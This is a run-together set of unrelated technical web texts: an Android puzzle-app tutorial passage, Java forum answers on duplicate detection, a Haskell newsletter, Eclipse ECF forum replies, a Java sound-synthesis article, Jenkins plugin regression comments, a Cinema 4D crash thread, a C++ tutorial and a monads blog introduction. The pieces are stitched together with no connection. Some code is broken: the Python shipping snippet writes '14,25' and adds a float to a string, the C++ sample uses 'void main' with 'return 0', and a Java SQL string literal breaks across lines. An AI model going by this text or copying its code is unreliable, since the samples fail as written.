gameSelectPopupWindow.setWidth(WindowManager.LayoutParams.WRAP_CONTENT);
gameSelectPopupWindow.setHeight(WindowManager.LayoutParams.WRAP_CONTENT);
gameSelectPopupWindow.setTouchable(true);
gameSelectPopupWindow.setFocusable(true);
gameSelectPopupWindow.setOutsideTouchable(true);
gameSelectPopupWindow.setContentView(layout);
// Set click listeners by calling layout.findViewById()
// layout.findViewById(R.id.queens_select).setOnClickListener();
int [] location = new int [] {0, 0};
parentView.getLocationInWindow(location);
int width = parentView.getWidth()/2;
int x = location[0] - width/2;
int y = location[1] + parentView.getHeight();
gameSelectPopupWindow.setAnimationStyle(R.style.AnimationPopup);
gameSelectPopupWindow.showAtLocation(layout, Gravity.NO_GRAVITY, x, y);
}
@Override
public void onStop() {
if (gameSelectPopupWindow != null) {
gameSelectPopupWindow.dismiss();
}
super.onStop();
}
The show method accepts as parameter a view, which is the Button or other item that initiated the action. This allows to position the PopupWindow relative to the point the user first clicked. Initially, we create the View for the PopupWindow by inflating the layout. Then we create the PopupWindow object and configure it appropriately. We use the getLocationInWindow(), getWidth() and getHeight() methods of the parent View to position the Popup properly. Finally, we set the animation style and show the Popup Window. If the user clicks outside of the window, this will be dismissed. In order not to leak a window, we need to check if the popup is visible, when the activity is stopped and dismiss it ourselves. This can happen for instance, if the orientation is changed, while the Popup is visible.
show
Button
getLocationInWindow()
getWidth()
getHeight()
Popup
popup
Another tricky point is the animation style. This must be defined in a styles.xml file in the values folder and have the below form:
<resources>
<style name="AnimationPopup">
<item name="@android:windowEnterAnimation">@anim/popup_show</item>
<item name="@android:windowExitAnimation">@anim/popup_hide</item>
</style>
</resources>
In order to store the user's scores, you need a persistence mechanism. Persistence options for the Android platform are described in the documentation. From these options, the most appropriate for storing scores is the SQLite database. The following statement presents the schema of the table I have used:
private static final String DATABASE_CREATE =
"create table Scores (_id integer primary key autoincrement, " +
"game text not null, category text not null,
player text not null, date text, " +
"score integer not null);";
In order to abstract the database from the rest of the code, I have created a ScoresManager class, which provides methods for accessing the scores.
ScoresManager
public class ScoresManager {
public boolean addScore(String game, String group, String player, int score);
public boolean isHighScore(String game, int score);
public List<Score> getScores(String game);
public List<Score> getScoresByGroup(String group);
}
I should point out that there are many open source score libraries for Android. You can find well tested libraries that provide a wealth of features, including integration with Web score systems. If not for the point of learning to interact with an SQLite database, it would be better to use one of these for your scoring needs.
Another persistence need is to store user's selections. Since each puzzle comes in many variations, it would be good if the application remembered, which version of the game the user last played. You can easily achieve this in Android using SharedPreferences.
SharedPreferences
The SharedPreferences are defined in a separate XML file for every puzzle. The Puzzle abstract class defines the configure method. The concrete classes implement this method in order to read the user's settings.
SharedPreferences
configure
public boolean configure(SharedPreferences preferences)
Android provides the PreferenceActivity, which you can very easily extend in order to create a simple User Interface for editing the settings.
PreferenceActivity
public class PuzzleOptionsActivity extends PreferenceActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Bundle bundle = intent.getExtras();
int gameResources = bundle.getInt("GameResources", 0);
addPreferencesFromResource(gameResources);
}
}
Of course, this is not the only way for exploiting SharedPreferences. You can create a fancy User Interface and read and write to SharedPreferences using Java code. In Puzzles Solver, I am using a PreferencesScreen without actually displaying anything, in order to store the user's name. When the user achieves a high score, the congratulations screen that asks her to enter her name is prefilled with the name previously used.
PreferencesScreen
The application is localized in English, German and Greek. The localized elements are the text of the application (stored in strings.xml files at values, values-de and values-el folders), the logo of the application (stored in drawable, drawable-de, drawable-el folders) and the application's help page, which is stored as an HTML page in the assets folder (more details for this later).
It is very important to provide instructions on the use of the application. Of course, the application should be easy to use and the interface intuitive, so that a user can start using the application, without reading a single line of a help file. That is not a reason for not having a good help page. Some users may not be familiar with the concept of your game or application and will need some guidance. Also, you may be able to provide some tips and tricks in your help page that even advanced users will find helpful.
I believe that using a WebView to display an HTML file is an ideal solution for implementing the help page in an Android Application. The amount of Java code required is minimal and then you only need one or more HTML files in the assets folder. It is very easy to author an HTML help page. Styling the text and adding images is trivial. You may also be able to re-use an existing page describing your application. Using HTML for the help page is so easy that it makes me wonder why so many applications still prefer to use other help systems, like displaying all information on a dialog.
If you want to support more than one language, then you will need different versions of the HTML page. Place all the pages in the assets folder. Then in the strings.xml, define the name of the page for every language:
<string name="help_file_name">index.html</string>
When loading the page in the WebView, read the name from the resources:
WebView
webview.loadUrl("" +
getResources().getString(R.string.help_file_name));
It is very common for mobile applications, especially for these given away for free, to display some sort of ads. These ads can generate revenue for the developer, while still allowing her to freely distribute the application. There are many Ad frameworks available to chose from. For PuzzleSolver, I have chosen AdMob. Whatever framework you chose, you need to make sure that the ads do not distract the user. In games, ads should only be displayed in auxiliary screens (game selection, scores, help) and not in the game screen. Ads should not distract the user for playing the game.
PuzzleSolver
In order to be able to display ads in more than one Activity, without repeating the same code, I have created a utility class called AdsManager. AdsManager implements AdListener and provides addAdsView method, which sets the publisher id, the test devices' ids and adds the request to the view.
AdsManager
AdListener
addAdsView
public class AdsManager implements AdListener {
private String publisherId = "your publisher id here";
public void addAdsView(Activity activity, LinearLayout layout) {
AdView adView;
int screenLayout = activity.getResources().getConfiguration().screenLayout;
if ((screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK) >= 3) {
adView = new AdView(activity, AdSize.IAB_LEADERBOARD, publisherId);
}
else {
adView = new AdView(activity, AdSize.BANNER, publisherId);
}
layout.addView(adView);
AdRequest request = new AdRequest();
request.addTestDevice(AdRequest.TEST_EMULATOR);
request.addTestDevice("Your test device id here - Find the id in Log Cat");
adView.loadAd(request);
}
Notice that there is a differentation for different screen sizes. For small and normal screens (values 1 and 2) a Banner is displayed. For large and extra large screens (values 3 and 4) a Leaderboard is displayed.
This method is called in the onCreate method of every activity that displays ads:
onCreate
LinearLayout layout = (LinearLayout)findViewById(R.id.banner_layout);
(new AdsManager()).addAdsView(this, layout);. | http://www.codeproject.com/script/Articles/View.aspx?aid=295910 | CC-MAIN-2014-42 | en | refinedweb |
Java...Just 1 line...
Leeee Ming
Greenhorn
Joined: May 24, 2004
Posts: 12
posted
Jul 13, 2004 06:42:00
0
I am doing a small
java
program and i am almost 99% done and i'm stuck at a particular part, since not sure how to code....
Here is the scenario of my School Work...
Mr. Tan, a Networking facilitator purchased 15 network routers. These network equipments will be loaned to students during their class. Besides these routers, there are other equipments that he has purchased. Mr. Tan would like to devise a system to keep track of these assets.
He has designed an asset code to be tagged to each asset. The asset code is a
string
of 12 characters consisting of alphanumeric characters.
99 � 99999 � AAA
Category Serial Department
Number Code
The 2-digit asset category identifies the type of asset. There are currently 2 categories of assets. They are 01 for tools & Consumables and 02 for network devices. The 5-digit serial number uniquely identifies each piece of asset under a category.
Mr. Tan approached you for help to develop a Java asset tracking program. He would like the design of the program to be modular with appropriate classes defined to store and track different assets
This is the above mentioned problem....
import java.util.*; /** * Write a description of class Assets here. * * @author (your name) * @version (a version number or a date) */ public class Assets { // instance variables - replace the example below with your own private ArrayList catelist; private ArrayList serialnolist; private ArrayList deptlist; private ArrayList assetcodelist; private ArrayList cat1list; private ArrayList cat2list; private String cate; private String serialno; private String dept; private int a; private int b; /** * Constructor for objects of class Assets */ public Assets() { // initialise instance variables catelist = new ArrayList(); serialnolist = new ArrayList(); deptlist = new ArrayList(); assetcodelist = new ArrayList(); cat1list = new ArrayList(); cat2list = new ArrayList(); } /** * An example of a method - replace this comment with your own * * @param y a sample parameter for a method * @return the sum of x and y */ public void addAsset(String cate, String serialno, String dept) { // put your code here if ((cate == "01" || cate =="02") && (serialno.length() == 5) && (dept.length() == 3) && (serialnolist.add(serialno) != //i'm trying the duplication but stuck here...can u pls tell me what i shld change or do at the individual comment? thanks// assetcodelist.get(serialno))) { catelist.add(cate); serialnolist.add(serialno); deptlist.add(dept); assetcodelist.add(cate + "-" + serialno + "-" + dept); System.out.println(assetcodelist); } else { System.out.println("No Such Category"); } if (cate == "01") { cat1list.add(cate + "-" + serialno + "-" + dept); } else { cat2list.add(cate + "-" + serialno + "-" + dept); } } public void viewAllAssetCode() { System.out.println("All Assets"); System.out.println("---------------"); for (Iterator i = assetcodelist.iterator(); i.hasNext() :wink: { System.out.println(i.next()); } } public void viewNoAssets() { System.out.println(assetcodelist.size()); System.out.println("=========="); } public void viewByCat() { System.out.println("Category 1"); System.out.println("---------------"); for (Iterator i = cat1list.iterator(); i.hasNext() :wink: { System.out.println(i.next()); } System.out.println("Category 2"); System.out.println("---------------"); for (Iterator i = cat2list.iterator(); i.hasNext() :wink: { System.out.println(i.next()); } } }
My java codes which i have written have the following methods :
Create a new Asset
View all the Assetcodes
View all assets...
View no of assets
view asset by Category...
"Most Important" = Need to use the Java Iterator to process the entire list of assets so as to search for duplicate asset codes...
This is where i am stuck..
Thanks a LOT in Advance
Jeroen Wenting
Ranch Hand
Joined: Oct 12, 2000
Posts: 5093
posted
Jul 13, 2004 09:03:00
0
0) Rewrite your code to use a class Asset which you keep in a List instead of separate Lists of every field.
1) Create a new empty
HashMap
.
2) Create a new empty List to hold the duplicates
2) iterate over the List, retrieving assets.
2a) if the assetcode of the current asset doesn't exist as a key in the
HashMap
, add a new element to it with the assetcode as key and the asset as value.
2b) else add the asset to the List of duplicates
If you construct your Asset and Assets classes correctly, the search for duplicates becomes as simple as:
Map codes = new HashMap(); List duplicates = new ArrayList(); Asset asset = null; for (Iterator iter=assets.iterator();iter.hasNext() :wink: { asset = (Asset)iter.next(); if (codes.containsKey(asset.getCode()) duplicates.add(asset); else codes.put(asset.getCode(), asset); }
At the end 'duplicates' will contain all duplicate Assets so you can do something with them.
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Dirk Schreckmann
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Posts: 7023
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Jul 13, 2004 16:07:00
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Leeee Ming, it would be nice if you were to edit your post to break those really long lines, in order to alleviate viewers' needs to scroll horizontally.
Moving this to
the Intermediate forum
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Haskell Weekly News: March 13, 2006 Greetings, and thanks for reading issue 28 of HWN, a weekly newsletter covering developments in the Haskell community. Each Monday, new editions are posted to [1]the Haskell mailing list and to [2]The Haskell Sequence. [3]RSS is also available. 1. 2. 3. Announcements * Alternative to Text.Regex. Chris Kuklewicz [4]announced an alternative to Text.Regex. While working on the [5]language shootout, Chris implemented a new efficient regex engine, using parsec. It contructs a parser from a string representation of a regular expression. 4. 5. * pass.net. S. Alexander Jacobson [6]launched Pass.net. Written in Haskell, using HAppS, Pass.net lets websites replace registration, confirmation mails, and multiple passwords with a single login, authenticating via their email domain. 6. Haskell' This section covers activity on [7]Haskell'. * [8]Partial application syntax * [9]Extending the `...` notation * [10]The dreaded offside rule * [11]Strictness standardization 7. 8. 9. 10. 11. Discussion * Non-trivial markup transformations. Further on last week's article on encoding markup in Haskell, Oleg Kiselyov [12]demonstrates non-trivial transformations of marked-up data, markup transformations by successive rewriting (aka, `higher-order tags') and the easy definition of new tags. 12. * Popular libraries and tools. John Hughes [13]posted (and [14]here) some interesting figures on the most important libraries and tools, based on the results of his survey of users earlier this year. 13. 14. * haskell-prime fun. Just for fun, Ross Paterson [15]posted, some thought-provoking [16]statistics on haskell-prime traffic. 15. 16. * New collections package. Jean-Philippe Bernardy [17]hinted that his new collections package is almost done. 17. * Is notMember not member? John Meacham [18]sparked a bit of a discussion on whether negated boolean functions are useful with a patch adding Data.Set and Data.Map.notMember. 18. * Namespace games. In a similar vein, Don Stewart [19]triggered discussion on how to sort the hierarchical namespace, when proposing alternatives to the longish Text.ParserCombinators module name. 19. Darcs Corner * Darcs-server. Unsatisified with the current techniques for centralised development with darcs, Daan Leijen went ahead and [20. 20. * darcsweb 0.15, by Alberto Bertogli, has been [21]released. 21. Contributing to HWN You can help us create new editions of this newsletter. Please see the [22]contributing information, send stories to dons -at- cse.unsw.edu.au. The darcs repository is available at darcs get 22. | http://www.haskell.org/pipermail/haskell/2006-March/017693.html | CC-MAIN-2014-42 | en | refinedweb |
Yes you hear right! That is one of the major upcoming and most exciting new feature which will be available in NServiceBus 4.0.0. Transports, transports and transports… NServiceBus out of the box supported MSMQ and also Azure transports. But now there are even more transports available! The 4.0.0 version will ship with the following transports on board: ActiveMQ, RabbitMQ, Sql Server, Azure and MSQM. Of course each transport comes with certain features or even restrictions but from now on you have a lot of choices depending on your infrastructure or interoperability needs. In the future blog posts we will dive into at least one of the transports mentioned above and deep dive what it offers compared to the other transports. But first I want to show you how you can configure each transport with the unified configuration/connection settings approach.
We first start with the configuration approach of the transport when you are using the NServiceBus.Host.exe. Configuring a different transport than the default MSMQ transport is pretty straight forward. Simply declare on you EndpointConfig.cs the following:
// RabbitMQ public class EndpointConfig : IConfigureThisEndpoint, ..., UsingTransport<NServiceBus.RabbitMQ> { } // ActiveMQ public class EndpointConfig : IConfigureThisEndpoint, ..., UsingTransport<NServiceBus.ActiveMQ> { } // SqlServer public class EndpointConfig : IConfigureThisEndpoint, ..., UsingTransport<NServiceBus.SqlServer> { }
or if you use IWantCustomInitialization you can use the following approach (which is also the one you’d have to take when using self-hosting):
// RabbitMQ public class EndpointConfig : IConfigureThisEndpoint, ..., IWantCustomInitialization { public void Init() { Configure.With() .UseTransport<NServiceBus.RabbitMQ>() ... } } // ActiveMQ public class EndpointConfig : IConfigureThisEndpoint, ..., IWantCustomInitialization { public void Init() { Configure.With() .UseTransport<NServiceBus.ActiveMQ>() ... } } // you see the pattern...
You might wonder how NServiceBus knows to which server, broker or connection hub the transport layer has to be connected to. By default if you don’t specify a connection string by using on of the UseTransport overloads it assumes that you have a connection string defined in your endpoints application configuration file.
<?xml version="1.0" encoding="utf-8" ?> <configuration> <connectionStrings> <add name="NServiceBus/Transport" connectionString="host=localhost"/> </connectionStrings> </configuration>
The connection string has to be named with the following constant: “NServiceBus/Transport”
Of course it is also possible to define a connection string in code. By specifying the string in the UseTransport overload. For example a connection string to the ActiveMQ broker which is running on localhost would look like:
var config = Configure.With() .UseTransport<ActiveMQ>(() => "activemq:tcp://localhost:61616")
Happy transporting… | http://www.planetgeek.ch/2013/02/04/nservicebus-new-transports-around-the-corner/ | CC-MAIN-2014-42 | en | refinedweb |
I have visual studio 2010 and when I run a program the command prompt window with the program opens and closes automatically. How can I make the window remain open without running the program from the command prompt.
Code://#include "stdafx.h" was included on the other template #include <iostream> using namespace std; //int _tmain(int argc, _TCHAR* argv[]) was included on the other template int main() { cout <<"she sells sea shells by the seashore"<< endl; cout <<"\nshe"<< endl; cout <<"sells"<< endl; cout <<"sea"<< endl; cout <<"shells"<< endl; cout <<"by"<< endl; cout <<"the"<< endl; cout <<"seashore"<< endl; cout <<"\nshe sells"<< endl; cout <<"sea shells"<< endl; cout <<"by the"<< endl; cout <<"seashore"<< endl; return 0; } /*1. Write on the screen the words she sells sea shells by the seashore (a) all on one line, (b) on seven lines, and (c) inside a box.*/ | http://cboard.cprogramming.com/cplusplus-programming/135662-how-make-program-remain-open.html | CC-MAIN-2014-42 | en | refinedweb |
Important Relationships
To develop electronic music software, it is necessary to understand a number of mathematical/musical relationships. Some important ones are covered here.
Western music is based on twelve tone equal temperament tuning in which every pair of adjacent notes in the scale have an identical frequency ratio. Because an octave interval is defined as a doubling of frequency and there are 12 notes in an octave, the frequency ratio between adjacent notes is equal to the 12th root of 2 or approximately 1.05946309435929... which is an irrational number. Typically, equal temperament tuning is tuned relative to a standard pitch of 440 Hz, called "A 440."
The cent is a logarithmic unit of measure for musical intervals or differences. There are 1200 cents in an octave. Typically, cents are used to specify small intervals and in fact the interval of one cent is too small to be heard. It is generally agreed that 5 or 6 cents is the minimum frequency difference that most people can detect.
Because an octave is a 2:1 frequency ratio and there are 1200 cents in an octave, a semitone (the interval between two adjacent piano keys) or a half step (a one-fret movement on a guitar) is equal to 100 cents.
To sum up, to shift a frequency upward by one octave, you double the frequency. To shift a frequency downward one octave, you halve the frequency.
Sometimes, however, it is necessary to shift a frequency by a small amount. Given a desired frequency shift in cents, a frequency multiplier can be calculated as follows:
private static final int CENTS_PER_OCTAVE = 1200; frequencyMultiplier = Math.pow(2.0, ((float) cents / CENTS_PER_OCTAVE));
MIDI (the musical instrument digital interface) is an industry-standard protocol defined in the 1980's that enables electronic musical instruments to communicate, control, and synchronize with each other. All modern keyboard synthesizers map their keys to MIDI note numbers to guarantee interoperability between devices built by different manufacturers. When it is necessary to determine the frequency of any given MIDI note, the following code snippet can be used. Note, MIDI note number 69 corresponds to A 440.
private static final int REFERENCE_NOTE_NUMBER = 69; private static final int REFERENCE_NOTE_FREQ = 440; private static final int NOTES_PER_OCTAVE = 12; // Convert a midi note number to a frequency in Hz public float midiNoteNumberToFrequencyConverter(int mnn) { float soundOffset = (mnn - REFERENCE_NOTE_NUMBER) / (float) NOTES_PER_OCTAVE; return REFERENCE_NOTE_FREQ * Math.pow(2.0, soundOffset); }
Modulation is an important process in electronic music and it comes in two basic forms: amplitude modulation (AM) and frequency modulation (FM). AM, as the name implies, manipulates the amplitude of samples. A volume control is an example of AM where samples are each multiplied by a constant factor derived from a volume control. With a factor of 1.0, the samples are unmodified; but as the factor approaches 0.0, the amplitude or volume of the samples is reduced until they are inaudible.
newSampleValue = originalSampleValue * factor;
In synthesizer applications, AM uses a periodic waveform from a low frequency oscillator (or LFO) to modulate the volume of samples, with the result being the volume going up and down in a controlled manner. In the realm of guitar effects, AM is called tremolo.
FM is a manipulation of the frequency (as opposed to the amplitude) of a signal source by some external device — typically, an LFO. FM in the guitar effects realm is called vibrato. An example of FM is a European siren sound, which can be produced by frequency modulating a signal source with a square wave, which causes the pitch to shift between two discrete frequencies.
The Java Sound Platform
I think it important to hear the fruits of our labors, so to this end I have written the
SamplePlayer class (Listing One), which uses the javax.sound.sampled package (part of the Java distribution since v. 1.4.2) to play a sample stream. Here an
AudioFormat for a mono stream of 16-bit signed, big endian samples with a sample rate of 22050 samples/second is created. From the format, a
DataLine.info object is created and subsequently a
SourceDataLine object. Playing samples is then as easy as writing them to the
SourceDataLine object. Notice the samples are sourced by a provider object and that the playback of samples will continue until either the done flag is set or the provider returns an end of stream indication (-1).
SamplePlayer is a subclass of
Thread so it starts when its run method is called and terminates under the conditions stated above. Notice that even though we have defined our sample format as 16-bit integers, the
SourceDataLine class wants the data delivered in an array of bytes. This is somewhat inconvenient (because of little vs. big endian issues) but you have to work within the framework you are given.
Listing One: The Sampler Player Class
package com.craigl.softsynth.consumer; import com.craigl.softsynth.utils.SampleProviderIntfc; import javax.sound.sampled.*; public class SamplePlayer extends Thread { // AudioFormat parameters public static final int SAMPLE_RATE = 22050; private static final int SAMPLE_SIZE = 16; private static final int CHANNELS = 1; private static final boolean SIGNED = true; private static final boolean BIG_ENDIAN = true; // Chunk of audio processed at one time public static final int BUFFER_SIZE = 1000; public static final int SAMPLES_PER_BUFFER = BUFFER_SIZE / 2; public SamplePlayer() { // Create the audio format we wish to use format = new AudioFormat(SAMPLE_RATE, SAMPLE_SIZE, CHANNELS, SIGNED, BIG_ENDIAN); // Create dataline info object describing line format info = new DataLine.Info(SourceDataLine.class, format); } public void run() { done = false; int nBytesRead = 0; try { // Get line to write data to auline = (SourceDataLine) AudioSystem.getLine(info); auline.open(format); auline.start(); while ((nBytesRead != -1) && (! done)) { nBytesRead = provider.getSamples(sampleData); if (nBytesRead > 0) { auline.write(sampleData, 0, nBytesRead); } } } catch(Exception e) { e.printStackTrace(); } finally { auline.drain(); auline.close(); } } public void startPlayer() { if (provider != null) { start(); } } public void stopPlayer() { done = true; } public void setSampleProvider(SampleProviderIntfc provider) { this.provider = provider; } // Instance data private AudioFormat format; private DataLine.Info info; private SourceDataLine auline; private boolean done; private byte [] sampleData = new byte[BUFFER_SIZE]; private SampleProviderIntfc provider; }
SamplePlayer is meant to operate in what I call a pull architecture. It is called this because, once started, the Java sound subsystem pulls samples from its provider at the rate needed for uninterrupted sound reproduction. A Java class becomes a sample provider by implementing the single method interface
SampleProviderIntfc shown in Listing Two.
Listing Two: The Sample Provider Interface
package com.craigl.softsynth.utils; public interface SampleProviderIntfc { int getSamples(byte [] samples); }
Conclusion
I have presented background information necessary to understand digital signal processing at a basic level and provided code for playing a stream of samples. In upcoming articles over the next few weeks, I will show how to put this information to use by implementing various modules useful in electronic music. If you have an iPhone or iPod Touch you can play with the PSynth app, which implements the techniques discussed in this article series.
Resources.
Music Components in Java: Creating Oscillators (Part Two in this series)
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Eclipse Community Forums - RDF feed Eclipse Community Forums ECF BOT on tomcat <![CDATA[Originally posted by: schuang.mail.com Hi! I am new to ECF. I am trying to implement an IM BOT on Tomcat server, without Eclipse IDE. Is it possible? Which jar files do I need? Another question, is it possible to implement a BOT that supports multiple IM server (MSN, Yahoo, Skype, GTalk) at the same time? I am thinking of implementing a server system that allows different user from different IM at the same time. Thanks!]]> 2008-01-25T06:17:16-00:00 Re: ECF BOT on tomcat <![CDATA[Hi, SC Huang wrote: > Hi! I am new to ECF. I am trying to implement an IM BOT on Tomcat > server, without Eclipse IDE. Is it possible? Yes. It's not using tomcat as the container, but we are running an IRC IM bot on ecf.eclipse.org (called KOS-MOS that hangs out in several irc channels on irc.freenode.net...e.g. #eclipse-dev, #eclipse-ecf, #eclipse-bugs, #eclipse I think). The use of tomcat as a container is also possible...we are running other parts of ECF within a tomcat container at ecf.eclipse.org:8080. But this requires running the Equinox framework (upon which ECF is built) within tomcat. There is an explanation of how to get Equinox going on tomcat here: And we have a description of how to setup ECF for running on an Equinox server here: Finally, we have a bot framework described here: Note that although the examples are based upon IRC, the bot framework can/does use other protocols that support multi-user chat rooms (xmpp group chat). Unfortunately, our current MSN, Yahoo, and Skype providers do *not* support chat rooms, and the google talk service does not have chat rooms at all. If this is something you would like (support of any/some/all of these providers for chat rooms as opposed to just two-way chat) then please let us know by filing an enhancement request(s) for specific providers at bug_severity=enhancement Note that if you just want to do two-way chat that all of the following IM providers support it now (MSN, Yahoo, Skype, xmpp). There are a couple example of IM bots...e.g here: gins/org.eclipse.ecf.example.clients/src/org/eclipse/ecf/exa mple/clients/?root=Technology_Project See XMPPChatClient for an example of IM/two-way chat, XMPPChatRoomClient for and example of doing chat room/n-way chats. Note that the ECF presence API is the core API supporting both IM/two-way chat and n-way chat: The bot framework pointed to above is based upon the chat room part of the presence API. >Which jar files do I need? You will at least need the following bundles from the ECF distribution: # org.eclipse.ecf (core ECF APIs) # org.eclipse.ecf.core.identity (identity and namespace APIs) # org.eclipse.ecf.presence (presence APIs for monitoring messages and presence And, you will need the individual providers (and their dependencies) that you intend on using: IRC: org.eclipse.ecf.provider.irc XMPP: org.eclipse.ecf.provider.xmpp MSN: org.eclipse.ecf.provider.msn Skype: org.eclispe.ecf.provider.skype Yahoo: org.eclipse.ecf.provider.yahoo Note that each of these providers has their own set of other dependencies (both to ECF and other bundles). See the dependencies list for each bundle for details). > Another question, is it possible to implement a BOT that supports > multiple IM server (MSN, Yahoo, Skype, GTalk) at the same time? Yes, this is the value of using the ECF presence API. This API is independent of any particular provider, so any both code that uses it (either the two-way or group chats) will work with any supporting providers (note that unfortunately not all providers support both IM and group chat). I am > thinking of implementing a server system that allows different user from > different IM at the same time. Thanks! Yes, I think this is a terrific idea. You could conceivably have a single both that 'lived' in multiple chat rooms and/or IM sessions...and perhaps did some processing to coordinate the input/output to all those locations. If you do some of this, please consider keeping in touch wiht us (for example, join ecf-dev@eclipse.org mailing list: And possibly even contributing the work for other people to use and extend. Thanks, Scott]]> Scott Lewis 2008-01-25T20:21:44-00:00 | http://www.eclipse.org/forums/feed.php?mode=m&th=194951&basic=1 | CC-MAIN-2014-42 | en | refinedweb |
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ppp = 4.00
else:
ppp= 4.75
return weight * ppp + 20
def pricedrone(weight):
if weight<2:
ppp = 4.50
elif weight<=6:
ppp = 9.00
elif weight<=10:
ppp = 12
else:
ppp = 14,25
return weight * ppp
priceprem = 125.00
def printcheapmethod(weight):
drone = pricedrone(weight)
prem = priceprem
ground = priceground(weight)
if ground<prem and ground<drone:
cost = ground
method = “Ground Shipping”
elif prem<ground and prem<drone:
cost = prem
method = “Premium Shipping”
else:
cost = drone
method = “Drone Shipping”
print(“the cheapest methoid is " + method + " and the price is $” + cost)
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Yes. Overrides is what has been fixed in 2.1.4
Likely the behavior needs to be configurable, so that both 2.1.3 and 2.1.4 behaviors should be supported somehow.
Oleg Nenashev you mean that not being able to override a global env is the intended behavior?
Btw the issue does not limits to overriding variable, it is the main feature of injecting a new variable in the build process that fails for me
At least I verified with a few println() that the code is still executed, but anything placed in the hashmap is not saved properly
def map... if (!binding.variables.containsKey('VAR1') || binding.variables.get('VAR1').equals("")) { map['VAR1'] = TOTO; } return map;
2.1.3 => VAR1=TOTO if VAR1 is undefined (expected)
2.1.4 => VAR1=null if VAR1 is undefined (not expected)
Created warning on Wiki:
Probably I should depublish the release for now
Yeah, I was looking for a way to lock the plugin to 2.1.3 and not being notified of newest updates of one plugin I guess it is not possible ? We use to update Jenkins always but have been forced to close connection to Jenkins update servers to not get the regression update. The downgrade button is nice with the plugin but I believe it misses a button like "Shutdown update notifications" per plugins
Code changed in jenkins
User: Oleg Nenashev
Path:
pom.xml
Log:
Add compatibility notice for
JENKINS-47364 and JENKINS-47370
Code changed in jenkins
User: Oleg Nenashev
Path:
pom.xml
Log:
Merge pull request #127 from oleg-nenashev/2.1.4-compat-notice
Add compatibility notice for
JENKINS-47364 and JENKINS-47370
Compare:
If you are not going to touch this issue anymore this is serious problem here, as administrator It's impossible to communicate to the team the DO NOT UPDATE EnvInject I have to ban all jenkins domains in the host Linux configuration level to stop Jenkins updates
My suggestion (only if you are not going to improve this fix causing regressions)
- branch the 2.1.3 version to a newer plugin called "Environment Injector Plugin (Old compatibility version)"
So we can stick to this version, because I believe we need Jenkins updates while we dont need EnvInject updates anymore and want it as it is working actually, the fix you published for it was not affecting us.
I am going to make the change, not sure when. I am traveling since mid-October, and unfortunately I had no time to work on it. Everybody is welcome to submit a pull request.
> as administrator It's impossible to communicate to the team the DO NOT UPDATE EnvInjec
If your users are able to install and update plugins, IMHO you have a larger problem than EnvInject. Common users should have no access to plugin management if they ignore warnings in Web UI and changelogs. If you do not see the warning in the Update Manager on your instance, let me know.
> branch the 2.1.3 version to a newer plugin called "Environment Injector Plugin (Old compatibility version)"
It cannot be easily done in such way due to the risk of binary conflicts. Anyway, I am going to improve the configuration and to at least offer the opt-out flag.
This issue sounds very much like JENKINS-14437..
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Adding Xref to PyGen, crashing of c4d
On 06/12/2016 at 07:58, xxxxxxxx wrote:
User Information:
Cinema 4D Version: 17, 18
Platform: Windows ;
Language(s) : PYTHON ;
---------
Hello, small back to c4d
I tried for friend to make small clonner based at interactive xref-ops.
If add Xref by op.SetParameter(c4d.ID_CA_XREF_FILE, 'xref.c4d', c4d.DESCFLAGS_SET_USERINTERACTION), in py-gen op. It crashed c4d.
If normally add by console or script, all are ok.
import c4d import random def main() : null = c4d.BaseObject(c4d.Onull) bt=doc.GetTime() fps=doc.GetFps() Frame=bt.GetFrame(fps) if Frame == 0: i = 1 while i < 5: i = i + 1 testop = c4d.BaseObject(c4d.Oxref) testop.SetAbsPos(c4d.Vector(i*400, 0, 0)) testop.SetParameter(c4d.ID_CA_XREF_GENERATOR, True, c4d.DESCFLAGS_SET_USERINTERACTION) testop.SetParameter(c4d.ID_CA_XREF_FILE, 'xref.c4d', c4d.DESCFLAGS_SET_USERINTERACTION) testop.SetParameter(c4d.ID_CA_XREF_OFFSET, c4d.BaseTime(random.uniform(0.0, 1.0)), c4d.DESCFLAGS_SET_USERINTERACTION) testop.InsertUnder(null) return null
On 07/12/2016 at 02:22, xxxxxxxx wrote:
The thing is, you are doing user interaction stuff during execution of the scene pipeline (that's where the Python Generator code is being executing). No, user interaction is allowed in such places (see Threading Information).
On the other hand, Cinema shouldn't crash, but handle the situation gracefully. I'll look into it and post a bug report.
On 07/12/2016 at 03:58, xxxxxxxx wrote:
Hello Andreas
Thank you
I decided to use for test small part of code by scripting py-gen op and xrefs. Failed at some moments.
Will try to code in plug-in "body". maybe need to use own scheme of xref functionality(i read over forum, it is useless thing) | https://plugincafe.maxon.net/topic/9845/13256_adding-xref-to-pygen-crashing-of-c4d | CC-MAIN-2020-50 | en | refinedweb |
C++ allows us the use of some special characters, these special characters are:
- Trigraphs
- Escape Sequences
These special characters help in improving the coding practice for the coders and at the same time make the output more readable. So, let us take a look at these Special Characters in C++.
Trigraphs in C++:
There are a few characters that have an alternative representation in the C++ language, such characters are called the Trigraphs, and the representation so formed is known as the Trigraph Sequence.
It is called so because these characters are represented in three character sequences and the three character sequence always starts with two question marks.
Trigraphs are expanded anywhere they appear, including within string literals and character literals, in comments, and in preprocessor directives as well.
Let us take a look at some of the Trigraph Sequences and their Expansions in C++.
Escape Sequences in C++:
Escape Sequences are used to represent some special characters in C++. So, if anyone wants to add a special character in C++, or if you want to add some extra formatting on the output screen then these escape sequences will be used.
Escape Sequences start with a backslash and then there is a unique character that tells what that sequence will do.
Following is a program depicting the use of some escape sequences in C++:
#include <iostream> void main() { cout << "Hello\nWorld\nThis\tis C++\n"; return 0; }
Output:
Hello World This is C++
Here, \n and \t are the two escape sequences used and their effect is seen on the output screen.
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Before we get into that though I want to call out three small ways that I’m going to try to increase the clarity of this exposition:
First, one of the types I mentioned last time was the generic delegate type
Func<T>, which represents a
T that can be produced on demand. The problem is that as we start exploring the higher-order functional programming nature of monads, I’m going to need to use
Func<A, R> to represent functions of one variable, and it’s going to get confusing to also use
Func<T> to represent a
T that can be produced on demand. I’m therefore going to from now on assume that we have a generic delegate
delegate T OnDemand<T>();
and use that as one of our examples of a monadic type.
Second, I mentioned last time that it is an accident of history that
Nullable<T> restricts its type argument to non-nullable value types. I am going to ignore that inconvenient fact for the rest of this series and pretend that
Nullable<T> can work on any type.
Third, I’m also going to ignore the fact that the
Lazy<T> type has different thread-safety modes you can put it into; deriving a new lazy value from an old one probably should preserve the original value’s thread safety mode. I’m going to ignore that issue.
